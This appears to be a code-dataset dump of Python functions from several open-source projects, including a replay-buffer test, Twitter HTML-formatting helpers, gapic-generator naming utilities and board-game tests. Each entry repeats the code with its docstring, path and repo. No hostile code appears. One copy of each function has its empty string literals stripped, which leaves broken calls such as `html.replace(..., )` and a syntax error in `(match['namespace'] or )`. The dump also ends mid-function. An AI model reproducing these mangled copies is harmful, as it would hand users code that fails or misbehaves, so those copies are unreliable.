:param subject: the subject line of the email
:param message: the body of the email
:param dest_address: the address to which the email should be sent
:param tmp_file_attachment_name: (optional) a file located in /tmp which should be attached to the email
:return: response from Amazon's SES API<|endoftext|> |
70cf9520992499c375f526ce967ec2a543daf61bcbd793a5e0fb5f3edc5cb8d7 | def test_all():
'Test all methods.'
env = TfEnv(DummyBoxEnv())
policy = DeterministicMLPPolicy(env_spec=env.spec, hidden_sizes=(32, 32))
max_path_length = 10
max_samples = 50
max_trajs = 50
sampler = PEARLSampler(env, policy, max_path_length)
(paths, _) = sampler.obtain_samples(max_samples=max_samples, max_trajs=max_trajs, accum_context=False)
replay_buffer = MetaReplayBuffer(100, env.observation_space.low.size, env.action_space.low.size)
i = 0
for path in paths:
replay_buffer.add_path(path)
i += max_path_length
assert (replay_buffer.size() == i)
replay_buffer.clear()
assert (replay_buffer.size() == 0)
for path in paths:
replay_buffer.add_path(path)
batch_size = 3
indices = np.random.randint(0, replay_buffer.size(), batch_size)
out = replay_buffer.sample_data(indices)
assert (len(out['observations']) == batch_size)
assert (len(out['actions']) == batch_size)
assert (len(out['rewards']) == batch_size)
assert (len(out['terminals']) == batch_size)
assert (len(out['next_observations']) == batch_size)
batch_size = 10
out = replay_buffer.random_batch(batch_size)
assert (len(out['observations']) == batch_size)
assert (len(out['actions']) == batch_size)
assert (len(out['rewards']) == batch_size)
assert (len(out['terminals']) == batch_size)
assert (len(out['next_observations']) == batch_size)
out = replay_buffer.random_sequence(batch_size)
assert (len(out['observations']) == batch_size)
assert (len(out['actions']) == batch_size)
assert (len(out['rewards']) == batch_size)
assert (len(out['terminals']) == batch_size)
assert (len(out['next_observations']) == batch_size) | Test all methods. | tests/metarl/replay_buffer/test_meta_replay_buffer.py | test_all | icml2020submission6857/metarl | 2 | python | def test_all():
env = TfEnv(DummyBoxEnv())
policy = DeterministicMLPPolicy(env_spec=env.spec, hidden_sizes=(32, 32))
max_path_length = 10
max_samples = 50
max_trajs = 50
sampler = PEARLSampler(env, policy, max_path_length)
(paths, _) = sampler.obtain_samples(max_samples=max_samples, max_trajs=max_trajs, accum_context=False)
replay_buffer = MetaReplayBuffer(100, env.observation_space.low.size, env.action_space.low.size)
i = 0
for path in paths:
replay_buffer.add_path(path)
i += max_path_length
assert (replay_buffer.size() == i)
replay_buffer.clear()
assert (replay_buffer.size() == 0)
for path in paths:
replay_buffer.add_path(path)
batch_size = 3
indices = np.random.randint(0, replay_buffer.size(), batch_size)
out = replay_buffer.sample_data(indices)
assert (len(out['observations']) == batch_size)
assert (len(out['actions']) == batch_size)
assert (len(out['rewards']) == batch_size)
assert (len(out['terminals']) == batch_size)
assert (len(out['next_observations']) == batch_size)
batch_size = 10
out = replay_buffer.random_batch(batch_size)
assert (len(out['observations']) == batch_size)
assert (len(out['actions']) == batch_size)
assert (len(out['rewards']) == batch_size)
assert (len(out['terminals']) == batch_size)
assert (len(out['next_observations']) == batch_size)
out = replay_buffer.random_sequence(batch_size)
assert (len(out['observations']) == batch_size)
assert (len(out['actions']) == batch_size)
assert (len(out['rewards']) == batch_size)
assert (len(out['terminals']) == batch_size)
assert (len(out['next_observations']) == batch_size) | def test_all():
env = TfEnv(DummyBoxEnv())
policy = DeterministicMLPPolicy(env_spec=env.spec, hidden_sizes=(32, 32))
max_path_length = 10
max_samples = 50
max_trajs = 50
sampler = PEARLSampler(env, policy, max_path_length)
(paths, _) = sampler.obtain_samples(max_samples=max_samples, max_trajs=max_trajs, accum_context=False)
replay_buffer = MetaReplayBuffer(100, env.observation_space.low.size, env.action_space.low.size)
i = 0
for path in paths:
replay_buffer.add_path(path)
i += max_path_length
assert (replay_buffer.size() == i)
replay_buffer.clear()
assert (replay_buffer.size() == 0)
for path in paths:
replay_buffer.add_path(path)
batch_size = 3
indices = np.random.randint(0, replay_buffer.size(), batch_size)
out = replay_buffer.sample_data(indices)
assert (len(out['observations']) == batch_size)
assert (len(out['actions']) == batch_size)
assert (len(out['rewards']) == batch_size)
assert (len(out['terminals']) == batch_size)
assert (len(out['next_observations']) == batch_size)
batch_size = 10
out = replay_buffer.random_batch(batch_size)
assert (len(out['observations']) == batch_size)
assert (len(out['actions']) == batch_size)
assert (len(out['rewards']) == batch_size)
assert (len(out['terminals']) == batch_size)
assert (len(out['next_observations']) == batch_size)
out = replay_buffer.random_sequence(batch_size)
assert (len(out['observations']) == batch_size)
assert (len(out['actions']) == batch_size)
assert (len(out['rewards']) == batch_size)
assert (len(out['terminals']) == batch_size)
assert (len(out['next_observations']) == batch_size)<|docstring|>Test all methods.<|endoftext|> |
feb990a82639fb60aa6cec842b06a3aa807ceab1a868e5b69015086555f32a07 | def htmlify_description(json_data):
"Passed the raw JSON data about a User from Twitter's API, it returns an\n HTMLified version of the User's description.\n * Replaces t.co URLs with clickable, full links.\n * Makes #hashtags into clickable links.\n * Makes @usernames into clickable links.\n\n Different to htmlify_tweet() because:\n\n * Twitter user data only includes entities for urls, not hashtags etc.\n https://twittercommunity.com/t/why-do-user-entities-have-only-urls-field-and-not-others/59181\n\n * So we manually make the t.co links into their full, clickable version.\n * And then use twitter-text-python to linkify everything else.\n "
try:
desc = json_data['description']
except KeyError:
return ''
if (('entities' in json_data) and ('description' in json_data['entities'])):
entities = json_data['entities']['description']
if ('urls' in entities):
for entity in entities['urls']:
(start, end) = (entity['indices'][0], entity['indices'][1])
shown_url = entity['display_url']
link_url = entity['expanded_url']
url_html = '<a href="%s" rel="external">%s</a>'
desc = desc.replace(json_data['description'][start:end], (url_html % (link_url, shown_url)))
parser = ttp.Parser()
parsed = parser.parse(desc)
return parsed.html | Passed the raw JSON data about a User from Twitter's API, it returns an
HTMLified version of the User's description.
* Replaces t.co URLs with clickable, full links.
* Makes #hashtags into clickable links.
* Makes @usernames into clickable links.
Different to htmlify_tweet() because:
* Twitter user data only includes entities for urls, not hashtags etc.
https://twittercommunity.com/t/why-do-user-entities-have-only-urls-field-and-not-others/59181
* So we manually make the t.co links into their full, clickable version.
* And then use twitter-text-python to linkify everything else. | ditto/twitter/utils.py | htmlify_description | philgyford/django-ditto | 54 | python | def htmlify_description(json_data):
"Passed the raw JSON data about a User from Twitter's API, it returns an\n HTMLified version of the User's description.\n * Replaces t.co URLs with clickable, full links.\n * Makes #hashtags into clickable links.\n * Makes @usernames into clickable links.\n\n Different to htmlify_tweet() because:\n\n * Twitter user data only includes entities for urls, not hashtags etc.\n https://twittercommunity.com/t/why-do-user-entities-have-only-urls-field-and-not-others/59181\n\n * So we manually make the t.co links into their full, clickable version.\n * And then use twitter-text-python to linkify everything else.\n "
try:
desc = json_data['description']
except KeyError:
return
if (('entities' in json_data) and ('description' in json_data['entities'])):
entities = json_data['entities']['description']
if ('urls' in entities):
for entity in entities['urls']:
(start, end) = (entity['indices'][0], entity['indices'][1])
shown_url = entity['display_url']
link_url = entity['expanded_url']
url_html = '<a href="%s" rel="external">%s</a>'
desc = desc.replace(json_data['description'][start:end], (url_html % (link_url, shown_url)))
parser = ttp.Parser()
parsed = parser.parse(desc)
return parsed.html | def htmlify_description(json_data):
"Passed the raw JSON data about a User from Twitter's API, it returns an\n HTMLified version of the User's description.\n * Replaces t.co URLs with clickable, full links.\n * Makes #hashtags into clickable links.\n * Makes @usernames into clickable links.\n\n Different to htmlify_tweet() because:\n\n * Twitter user data only includes entities for urls, not hashtags etc.\n https://twittercommunity.com/t/why-do-user-entities-have-only-urls-field-and-not-others/59181\n\n * So we manually make the t.co links into their full, clickable version.\n * And then use twitter-text-python to linkify everything else.\n "
try:
desc = json_data['description']
except KeyError:
return
if (('entities' in json_data) and ('description' in json_data['entities'])):
entities = json_data['entities']['description']
if ('urls' in entities):
for entity in entities['urls']:
(start, end) = (entity['indices'][0], entity['indices'][1])
shown_url = entity['display_url']
link_url = entity['expanded_url']
url_html = '<a href="%s" rel="external">%s</a>'
desc = desc.replace(json_data['description'][start:end], (url_html % (link_url, shown_url)))
parser = ttp.Parser()
parsed = parser.parse(desc)
return parsed.html<|docstring|>Passed the raw JSON data about a User from Twitter's API, it returns an
HTMLified version of the User's description.
* Replaces t.co URLs with clickable, full links.
* Makes #hashtags into clickable links.
* Makes @usernames into clickable links.
Different to htmlify_tweet() because:
* Twitter user data only includes entities for urls, not hashtags etc.
https://twittercommunity.com/t/why-do-user-entities-have-only-urls-field-and-not-others/59181
* So we manually make the t.co links into their full, clickable version.
* And then use twitter-text-python to linkify everything else.<|endoftext|> |
3227f98c678e45d94793df219d7021abd9976149f8fced28afdcb93df4be8dc5 | def htmlify_tweet(json_data):
"Passed the raw JSON data about a Tweet from Twitter's API, it returns\n an HTMLified version of the Tweet's text. It:\n * Replaces linebreaks with '<br>'s.\n * Replaces @mentions with clickable @mentions.\n * Replaces #hashtags with clickable #hashtags.\n * Replaces $symbols with clickable $symbols.\n * Replaces t.co URLs with clickable, full links.\n "
if ('full_text' in json_data):
json_data['text'] = json_data['full_text']
if (('entities' in json_data) and ('symbols' not in json_data['entities'])):
json_data['entities']['symbols'] = []
html = Twython.html_for_tweet(json_data, use_display_url=True, use_expanded_url=False)
try:
ents = json_data['entities']
except KeyError:
ents = {}
urls_count = (len(ents['urls']) if ('urls' in ents) else 0)
media_count = (len(ents['media']) if ('media' in ents) else 0)
hashtags_count = (len(ents['hashtags']) if ('hashtags' in ents) else 0)
symbols_count = (len(ents['symbols']) if ('symbols' in ents) else 0)
user_mentions_count = (len(ents['user_mentions']) if ('user_mentions' in ents) else 0)
html = html.replace('class="twython-hashtag"', 'rel="external"')
html = html.replace('class="twython-mention"', 'rel="external"')
html = html.replace('class="twython-media"', 'rel="external"')
html = html.replace('class="twython-symbol"', 'rel="external"')
if (((urls_count + media_count) > 0) and (urls_count > 0)):
for url in ents['urls']:
html = html.replace(('<a href="%s" class="twython-url">' % url['url']), ('<a href="%s" rel="external">' % url['expanded_url']))
if (media_count > 0):
for item in ents['media']:
html = html.replace(('<a href="%s" rel="external">%s</a>' % (item['url'], item['display_url'])), '')
if (((((urls_count + media_count) + hashtags_count) + symbols_count) + user_mentions_count) == 0):
html = urlize(html)
html = re.sub('\\n', '<br>', html.strip())
return html | Passed the raw JSON data about a Tweet from Twitter's API, it returns
an HTMLified version of the Tweet's text. It:
* Replaces linebreaks with '<br>'s.
* Replaces @mentions with clickable @mentions.
* Replaces #hashtags with clickable #hashtags.
* Replaces $symbols with clickable $symbols.
* Replaces t.co URLs with clickable, full links. | ditto/twitter/utils.py | htmlify_tweet | philgyford/django-ditto | 54 | python | def htmlify_tweet(json_data):
"Passed the raw JSON data about a Tweet from Twitter's API, it returns\n an HTMLified version of the Tweet's text. It:\n * Replaces linebreaks with '<br>'s.\n * Replaces @mentions with clickable @mentions.\n * Replaces #hashtags with clickable #hashtags.\n * Replaces $symbols with clickable $symbols.\n * Replaces t.co URLs with clickable, full links.\n "
if ('full_text' in json_data):
json_data['text'] = json_data['full_text']
if (('entities' in json_data) and ('symbols' not in json_data['entities'])):
json_data['entities']['symbols'] = []
html = Twython.html_for_tweet(json_data, use_display_url=True, use_expanded_url=False)
try:
ents = json_data['entities']
except KeyError:
ents = {}
urls_count = (len(ents['urls']) if ('urls' in ents) else 0)
media_count = (len(ents['media']) if ('media' in ents) else 0)
hashtags_count = (len(ents['hashtags']) if ('hashtags' in ents) else 0)
symbols_count = (len(ents['symbols']) if ('symbols' in ents) else 0)
user_mentions_count = (len(ents['user_mentions']) if ('user_mentions' in ents) else 0)
html = html.replace('class="twython-hashtag"', 'rel="external"')
html = html.replace('class="twython-mention"', 'rel="external"')
html = html.replace('class="twython-media"', 'rel="external"')
html = html.replace('class="twython-symbol"', 'rel="external"')
if (((urls_count + media_count) > 0) and (urls_count > 0)):
for url in ents['urls']:
html = html.replace(('<a href="%s" class="twython-url">' % url['url']), ('<a href="%s" rel="external">' % url['expanded_url']))
if (media_count > 0):
for item in ents['media']:
html = html.replace(('<a href="%s" rel="external">%s</a>' % (item['url'], item['display_url'])), )
if (((((urls_count + media_count) + hashtags_count) + symbols_count) + user_mentions_count) == 0):
html = urlize(html)
html = re.sub('\\n', '<br>', html.strip())
return html | def htmlify_tweet(json_data):
"Passed the raw JSON data about a Tweet from Twitter's API, it returns\n an HTMLified version of the Tweet's text. It:\n * Replaces linebreaks with '<br>'s.\n * Replaces @mentions with clickable @mentions.\n * Replaces #hashtags with clickable #hashtags.\n * Replaces $symbols with clickable $symbols.\n * Replaces t.co URLs with clickable, full links.\n "
if ('full_text' in json_data):
json_data['text'] = json_data['full_text']
if (('entities' in json_data) and ('symbols' not in json_data['entities'])):
json_data['entities']['symbols'] = []
html = Twython.html_for_tweet(json_data, use_display_url=True, use_expanded_url=False)
try:
ents = json_data['entities']
except KeyError:
ents = {}
urls_count = (len(ents['urls']) if ('urls' in ents) else 0)
media_count = (len(ents['media']) if ('media' in ents) else 0)
hashtags_count = (len(ents['hashtags']) if ('hashtags' in ents) else 0)
symbols_count = (len(ents['symbols']) if ('symbols' in ents) else 0)
user_mentions_count = (len(ents['user_mentions']) if ('user_mentions' in ents) else 0)
html = html.replace('class="twython-hashtag"', 'rel="external"')
html = html.replace('class="twython-mention"', 'rel="external"')
html = html.replace('class="twython-media"', 'rel="external"')
html = html.replace('class="twython-symbol"', 'rel="external"')
if (((urls_count + media_count) > 0) and (urls_count > 0)):
for url in ents['urls']:
html = html.replace(('<a href="%s" class="twython-url">' % url['url']), ('<a href="%s" rel="external">' % url['expanded_url']))
if (media_count > 0):
for item in ents['media']:
html = html.replace(('<a href="%s" rel="external">%s</a>' % (item['url'], item['display_url'])), )
if (((((urls_count + media_count) + hashtags_count) + symbols_count) + user_mentions_count) == 0):
html = urlize(html)
html = re.sub('\\n', '<br>', html.strip())
return html<|docstring|>Passed the raw JSON data about a Tweet from Twitter's API, it returns
an HTMLified version of the Tweet's text. It:
* Replaces linebreaks with '<br>'s.
* Replaces @mentions with clickable @mentions.
* Replaces #hashtags with clickable #hashtags.
* Replaces $symbols with clickable $symbols.
* Replaces t.co URLs with clickable, full links.<|endoftext|> |
0cf998a9dc02e299177fa3930f96fffb0836ade8314235123c90174362bdfc2a | @classmethod
def build(cls, *file_descriptors: Iterable[descriptor_pb2.FileDescriptorProto]) -> 'Naming':
'Return a full Naming instance based on these file descriptors.\n\n This is pieced together from the proto package names as well as the\n ``google.api.metadata`` file annotation. This information may be\n present in one or many files; this method is tolerant as long as\n the data does not conflict.\n\n Args:\n file_descriptors (Iterable[~.FileDescriptorProto]): A list of\n file descriptor protos. This list should only include the\n files actually targeted for output (not their imports).\n\n Returns:\n ~.Naming: A :class:`~.Naming` instance which is provided to\n templates as part of the :class:`~.API`.\n\n Raises:\n ValueError: If the provided file descriptors contain contradictory\n information.\n '
proto_packages = {fd.package for fd in file_descriptors}
root_package = os.path.commonprefix(tuple(proto_packages)).rstrip('.')
if (not root_package):
raise ValueError(f"The protos provided do not share a common root package. Ensure that all explicitly-specified protos are for a single API. The packages we got are: {', '.join(proto_packages)}")
pattern = '^((?P<namespace>[a-z0-9_.]+)\\.)?(?P<name>[a-z0-9_]+)'
version = '\\.(?P<version>v[0-9]+(p[0-9]+)?((alpha|beta)[0-9]+)?)'
if re.search(version, root_package):
pattern += version
match = re.search(pattern=pattern, string=root_package).groupdict()
match['namespace'] = (match['namespace'] or '')
package_info = cls(name=match['name'].capitalize(), namespace=tuple([i.capitalize() for i in match['namespace'].split('.') if i]), product_name=match['name'].capitalize(), proto_package=root_package, version=match.get('version', ''))
if ((not package_info.version) and (len(proto_packages) > 1)):
raise ValueError('All protos must have the same proto package up to and including the version.')
explicit_pkgs = set()
for fd in file_descriptors:
pkg = fd.options.Extensions[client_pb2.client_package]
naming = cls(name=(pkg.title or pkg.product_title), namespace=tuple(pkg.namespace), version=pkg.version)
if naming:
explicit_pkgs.add(naming)
if (len(explicit_pkgs) > 1):
raise ValueError('If the google.api.client_package annotation is provided in more than one file, it must be consistent.')
if len(explicit_pkgs):
return dataclasses.replace(package_info, **dataclasses.asdict(explicit_pkgs.pop()))
return package_info | Return a full Naming instance based on these file descriptors.
This is pieced together from the proto package names as well as the
``google.api.metadata`` file annotation. This information may be
present in one or many files; this method is tolerant as long as
the data does not conflict.
Args:
file_descriptors (Iterable[~.FileDescriptorProto]): A list of
file descriptor protos. This list should only include the
files actually targeted for output (not their imports).
Returns:
~.Naming: A :class:`~.Naming` instance which is provided to
templates as part of the :class:`~.API`.
Raises:
ValueError: If the provided file descriptors contain contradictory
information. | gapic/schema/naming.py | build | nsky80/gapic-generator-python | 1 | python | @classmethod
def build(cls, *file_descriptors: Iterable[descriptor_pb2.FileDescriptorProto]) -> 'Naming':
'Return a full Naming instance based on these file descriptors.\n\n This is pieced together from the proto package names as well as the\n ``google.api.metadata`` file annotation. This information may be\n present in one or many files; this method is tolerant as long as\n the data does not conflict.\n\n Args:\n file_descriptors (Iterable[~.FileDescriptorProto]): A list of\n file descriptor protos. This list should only include the\n files actually targeted for output (not their imports).\n\n Returns:\n ~.Naming: A :class:`~.Naming` instance which is provided to\n templates as part of the :class:`~.API`.\n\n Raises:\n ValueError: If the provided file descriptors contain contradictory\n information.\n '
proto_packages = {fd.package for fd in file_descriptors}
root_package = os.path.commonprefix(tuple(proto_packages)).rstrip('.')
if (not root_package):
raise ValueError(f"The protos provided do not share a common root package. Ensure that all explicitly-specified protos are for a single API. The packages we got are: {', '.join(proto_packages)}")
pattern = '^((?P<namespace>[a-z0-9_.]+)\\.)?(?P<name>[a-z0-9_]+)'
version = '\\.(?P<version>v[0-9]+(p[0-9]+)?((alpha|beta)[0-9]+)?)'
if re.search(version, root_package):
pattern += version
match = re.search(pattern=pattern, string=root_package).groupdict()
match['namespace'] = (match['namespace'] or )
package_info = cls(name=match['name'].capitalize(), namespace=tuple([i.capitalize() for i in match['namespace'].split('.') if i]), product_name=match['name'].capitalize(), proto_package=root_package, version=match.get('version', ))
if ((not package_info.version) and (len(proto_packages) > 1)):
raise ValueError('All protos must have the same proto package up to and including the version.')
explicit_pkgs = set()
for fd in file_descriptors:
pkg = fd.options.Extensions[client_pb2.client_package]
naming = cls(name=(pkg.title or pkg.product_title), namespace=tuple(pkg.namespace), version=pkg.version)
if naming:
explicit_pkgs.add(naming)
if (len(explicit_pkgs) > 1):
raise ValueError('If the google.api.client_package annotation is provided in more than one file, it must be consistent.')
if len(explicit_pkgs):
return dataclasses.replace(package_info, **dataclasses.asdict(explicit_pkgs.pop()))
return package_info | @classmethod
def build(cls, *file_descriptors: Iterable[descriptor_pb2.FileDescriptorProto]) -> 'Naming':
'Return a full Naming instance based on these file descriptors.\n\n This is pieced together from the proto package names as well as the\n ``google.api.metadata`` file annotation. This information may be\n present in one or many files; this method is tolerant as long as\n the data does not conflict.\n\n Args:\n file_descriptors (Iterable[~.FileDescriptorProto]): A list of\n file descriptor protos. This list should only include the\n files actually targeted for output (not their imports).\n\n Returns:\n ~.Naming: A :class:`~.Naming` instance which is provided to\n templates as part of the :class:`~.API`.\n\n Raises:\n ValueError: If the provided file descriptors contain contradictory\n information.\n '
proto_packages = {fd.package for fd in file_descriptors}
root_package = os.path.commonprefix(tuple(proto_packages)).rstrip('.')
if (not root_package):
raise ValueError(f"The protos provided do not share a common root package. Ensure that all explicitly-specified protos are for a single API. The packages we got are: {', '.join(proto_packages)}")
pattern = '^((?P<namespace>[a-z0-9_.]+)\\.)?(?P<name>[a-z0-9_]+)'
version = '\\.(?P<version>v[0-9]+(p[0-9]+)?((alpha|beta)[0-9]+)?)'
if re.search(version, root_package):
pattern += version
match = re.search(pattern=pattern, string=root_package).groupdict()
match['namespace'] = (match['namespace'] or )
package_info = cls(name=match['name'].capitalize(), namespace=tuple([i.capitalize() for i in match['namespace'].split('.') if i]), product_name=match['name'].capitalize(), proto_package=root_package, version=match.get('version', ))
if ((not package_info.version) and (len(proto_packages) > 1)):
raise ValueError('All protos must have the same proto package up to and including the version.')
explicit_pkgs = set()
for fd in file_descriptors:
pkg = fd.options.Extensions[client_pb2.client_package]
naming = cls(name=(pkg.title or pkg.product_title), namespace=tuple(pkg.namespace), version=pkg.version)
if naming:
explicit_pkgs.add(naming)
if (len(explicit_pkgs) > 1):
raise ValueError('If the google.api.client_package annotation is provided in more than one file, it must be consistent.')
if len(explicit_pkgs):
return dataclasses.replace(package_info, **dataclasses.asdict(explicit_pkgs.pop()))
return package_info<|docstring|>Return a full Naming instance based on these file descriptors.
This is pieced together from the proto package names as well as the
``google.api.metadata`` file annotation. This information may be
present in one or many files; this method is tolerant as long as
the data does not conflict.
Args:
file_descriptors (Iterable[~.FileDescriptorProto]): A list of
file descriptor protos. This list should only include the
files actually targeted for output (not their imports).
Returns:
~.Naming: A :class:`~.Naming` instance which is provided to
templates as part of the :class:`~.API`.
Raises:
ValueError: If the provided file descriptors contain contradictory
information.<|endoftext|> |
491f2af3b90b94e733286f13f304fa98f18cb6ab6412befd5b7642de9d65e4e8 | def __bool__(self):
'Return True if any of the fields are truthy, False otherwise.'
return any([getattr(self, i.name) for i in dataclasses.fields(self)]) | Return True if any of the fields are truthy, False otherwise. | gapic/schema/naming.py | __bool__ | nsky80/gapic-generator-python | 1 | python | def __bool__(self):
return any([getattr(self, i.name) for i in dataclasses.fields(self)]) | def __bool__(self):
return any([getattr(self, i.name) for i in dataclasses.fields(self)])<|docstring|>Return True if any of the fields are truthy, False otherwise.<|endoftext|> |
bbe26e708a9e3271086766836ceebec5269af7d94c275c7b6a19e12598bcb26b | @property
def long_name(self) -> str:
'Return an appropriate title-cased long name.'
return ' '.join((tuple(self.namespace) + (self.name,))) | Return an appropriate title-cased long name. | gapic/schema/naming.py | long_name | nsky80/gapic-generator-python | 1 | python | @property
def long_name(self) -> str:
return ' '.join((tuple(self.namespace) + (self.name,))) | @property
def long_name(self) -> str:
return ' '.join((tuple(self.namespace) + (self.name,)))<|docstring|>Return an appropriate title-cased long name.<|endoftext|> |
966d7b671cb06347aa4e62471555392935007a95be23e7ad981ac2eea535139e | @property
def module_name(self) -> str:
'Return the appropriate Python module name.'
return utils.to_valid_module_name(self.name) | Return the appropriate Python module name. | gapic/schema/naming.py | module_name | nsky80/gapic-generator-python | 1 | python | @property
def module_name(self) -> str:
return utils.to_valid_module_name(self.name) | @property
def module_name(self) -> str:
return utils.to_valid_module_name(self.name)<|docstring|>Return the appropriate Python module name.<|endoftext|> |
46adab8be26bd914a430ee59b7bb3cd0209f4b24480d94afd640e22108848f8f | @property
def module_namespace(self) -> Sequence[str]:
'Return the appropriate Python module namespace as a tuple.'
return tuple((utils.to_valid_module_name(i) for i in self.namespace)) | Return the appropriate Python module namespace as a tuple. | gapic/schema/naming.py | module_namespace | nsky80/gapic-generator-python | 1 | python | @property
def module_namespace(self) -> Sequence[str]:
return tuple((utils.to_valid_module_name(i) for i in self.namespace)) | @property
def module_namespace(self) -> Sequence[str]:
return tuple((utils.to_valid_module_name(i) for i in self.namespace))<|docstring|>Return the appropriate Python module namespace as a tuple.<|endoftext|> |
02f57877e2ae72c4b19755432fc16668bcc8ade400c41d1c4433323c9c7a20f4 | @property
def namespace_packages(self) -> Tuple[str]:
'Return the appropriate Python namespace packages.'
answer = []
for cursor in [i.lower() for i in self.namespace]:
answer.append((f'{answer[(- 1)]}.{cursor}' if answer else cursor))
return tuple(answer) | Return the appropriate Python namespace packages. | gapic/schema/naming.py | namespace_packages | nsky80/gapic-generator-python | 1 | python | @property
def namespace_packages(self) -> Tuple[str]:
answer = []
for cursor in [i.lower() for i in self.namespace]:
answer.append((f'{answer[(- 1)]}.{cursor}' if answer else cursor))
return tuple(answer) | @property
def namespace_packages(self) -> Tuple[str]:
answer = []
for cursor in [i.lower() for i in self.namespace]:
answer.append((f'{answer[(- 1)]}.{cursor}' if answer else cursor))
return tuple(answer)<|docstring|>Return the appropriate Python namespace packages.<|endoftext|> |
ae28db92b09ddbd39deb52ca92bed8cf7b1df04d21af318f5afbe4b3d1b34340 | @property
def versioned_module_name(self) -> str:
'Return the versiond module name (e.g. ``apiname_v1``).\n\n If there is no version, this is the same as ``module_name``.\n '
if self.version:
return f'{self.module_name}_{self.version}'
return self.module_name | Return the versiond module name (e.g. ``apiname_v1``).
If there is no version, this is the same as ``module_name``. | gapic/schema/naming.py | versioned_module_name | nsky80/gapic-generator-python | 1 | python | @property
def versioned_module_name(self) -> str:
'Return the versiond module name (e.g. ``apiname_v1``).\n\n If there is no version, this is the same as ``module_name``.\n '
if self.version:
return f'{self.module_name}_{self.version}'
return self.module_name | @property
def versioned_module_name(self) -> str:
'Return the versiond module name (e.g. ``apiname_v1``).\n\n If there is no version, this is the same as ``module_name``.\n '
if self.version:
return f'{self.module_name}_{self.version}'
return self.module_name<|docstring|>Return the versiond module name (e.g. ``apiname_v1``).
If there is no version, this is the same as ``module_name``.<|endoftext|> |
f69d032a80821134278f29af5a6afe4cddcc254e8173c0ecea91ecd76cc1d158 | @property
def warehouse_package_name(self) -> str:
'Return the appropriate Python package name for Warehouse.'
answer = (list(self.namespace) + self.name.split(' '))
return '-'.join(answer).lower() | Return the appropriate Python package name for Warehouse. | gapic/schema/naming.py | warehouse_package_name | nsky80/gapic-generator-python | 1 | python | @property
def warehouse_package_name(self) -> str:
answer = (list(self.namespace) + self.name.split(' '))
return '-'.join(answer).lower() | @property
def warehouse_package_name(self) -> str:
answer = (list(self.namespace) + self.name.split(' '))
return '-'.join(answer).lower()<|docstring|>Return the appropriate Python package name for Warehouse.<|endoftext|> |
a6172010a3c6935385a60011436839465ddf1bfa80f108760365c4b10ce1f9c4 | def get_params(self, deep=False):
'\n Get the parameters for this operator.\n '
return core.get_params(self) | Get the parameters for this operator. | src/python/nimbusml/feature_extraction/categorical/onehothashvectorizer.py | get_params | najeeb-kazmi/NimbusML | 134 | python | def get_params(self, deep=False):
'\n \n '
return core.get_params(self) | def get_params(self, deep=False):
'\n \n '
return core.get_params(self)<|docstring|>Get the parameters for this operator.<|endoftext|> |
213dcfb53b32f6fd2b7081a2576dd11f81df3269012b082ffd1f54e78d77a886 | @pytest.mark.django_db
def test_get_special(some_datetime):
"Test retrieving a square's special square type."
special = baker.make('SpecialSquareType', image='')
baker.make('SpecialSquare', square=5, type=special)
square = board.Square(number=5, current_position=1, now=some_datetime)
assert (special == square.get_special()) | Test retrieving a square's special square type. | will_of_the_prophets/tests/test_square.py | test_get_special | craiga/will-of-the-prophets | 20 | python | @pytest.mark.django_db
def test_get_special(some_datetime):
special = baker.make('SpecialSquareType', image=)
baker.make('SpecialSquare', square=5, type=special)
square = board.Square(number=5, current_position=1, now=some_datetime)
assert (special == square.get_special()) | @pytest.mark.django_db
def test_get_special(some_datetime):
special = baker.make('SpecialSquareType', image=)
baker.make('SpecialSquare', square=5, type=special)
square = board.Square(number=5, current_position=1, now=some_datetime)
assert (special == square.get_special())<|docstring|>Test retrieving a square's special square type.<|endoftext|> |
5cc54dfadbc365c39f3e19d2a697392c392b4dac3fdf3af18c70dcbd420d5553 | @pytest.mark.django_db
def test_get_butthole_ends(some_datetime):
'Test getting the list of buttholes which end in this square.'
for start_square in (55, 66, 77):
baker.make('Butthole', start_square=start_square, end_square=26)
square = board.Square(number=26, current_position=1, now=some_datetime)
assert (set(square.get_butthole_ends()) == set([55, 66, 77])) | Test getting the list of buttholes which end in this square. | will_of_the_prophets/tests/test_square.py | test_get_butthole_ends | craiga/will-of-the-prophets | 20 | python | @pytest.mark.django_db
def test_get_butthole_ends(some_datetime):
for start_square in (55, 66, 77):
baker.make('Butthole', start_square=start_square, end_square=26)
square = board.Square(number=26, current_position=1, now=some_datetime)
assert (set(square.get_butthole_ends()) == set([55, 66, 77])) | @pytest.mark.django_db
def test_get_butthole_ends(some_datetime):
for start_square in (55, 66, 77):
baker.make('Butthole', start_square=start_square, end_square=26)
square = board.Square(number=26, current_position=1, now=some_datetime)
assert (set(square.get_butthole_ends()) == set([55, 66, 77]))<|docstring|>Test getting the list of buttholes which end in this square.<|endoftext|> |
453964647caf2f6718eceb243c7f712c72b4aecb96417dfb1ab2b3f9fc4a5cef | @pytest.mark.django_db
@pytest.mark.parametrize('number, pos, was_visited', [(74, 75, True), (75, 75, False), (76, 75, False)])
def test_was_visited(some_datetime, number, pos, was_visited):
'Test that the was_visited flag is set correctly on squares.'
square = board.Square(number=number, current_position=pos, now=some_datetime)
assert (square.was_visited == was_visited) | Test that the was_visited flag is set correctly on squares. | will_of_the_prophets/tests/test_square.py | test_was_visited | craiga/will-of-the-prophets | 20 | python | @pytest.mark.django_db
@pytest.mark.parametrize('number, pos, was_visited', [(74, 75, True), (75, 75, False), (76, 75, False)])
def test_was_visited(some_datetime, number, pos, was_visited):
square = board.Square(number=number, current_position=pos, now=some_datetime)
assert (square.was_visited == was_visited) | @pytest.mark.django_db
@pytest.mark.parametrize('number, pos, was_visited', [(74, 75, True), (75, 75, False), (76, 75, False)])
def test_was_visited(some_datetime, number, pos, was_visited):
square = board.Square(number=number, current_position=pos, now=some_datetime)
assert (square.was_visited == was_visited)<|docstring|>Test that the was_visited flag is set correctly on squares.<|endoftext|> |
51c224995d9a5727d46c084a08be225203d353d2a85fa1a44bb4e9c6c9c7d0a8 | @pytest.mark.django_db
@pytest.mark.parametrize('number, pos, is_current_position', [(74, 75, False), (75, 75, True), (76, 75, False)])
def test_is_current_position(some_datetime, number, pos, is_current_position):
'Test the is_current_position flag is set correctly.'
square = board.Square(number=number, current_position=pos, now=some_datetime)
assert (square.is_current_position == is_current_position) | Test the is_current_position flag is set correctly. | will_of_the_prophets/tests/test_square.py | test_is_current_position | craiga/will-of-the-prophets | 20 | python | @pytest.mark.django_db
@pytest.mark.parametrize('number, pos, is_current_position', [(74, 75, False), (75, 75, True), (76, 75, False)])
def test_is_current_position(some_datetime, number, pos, is_current_position):
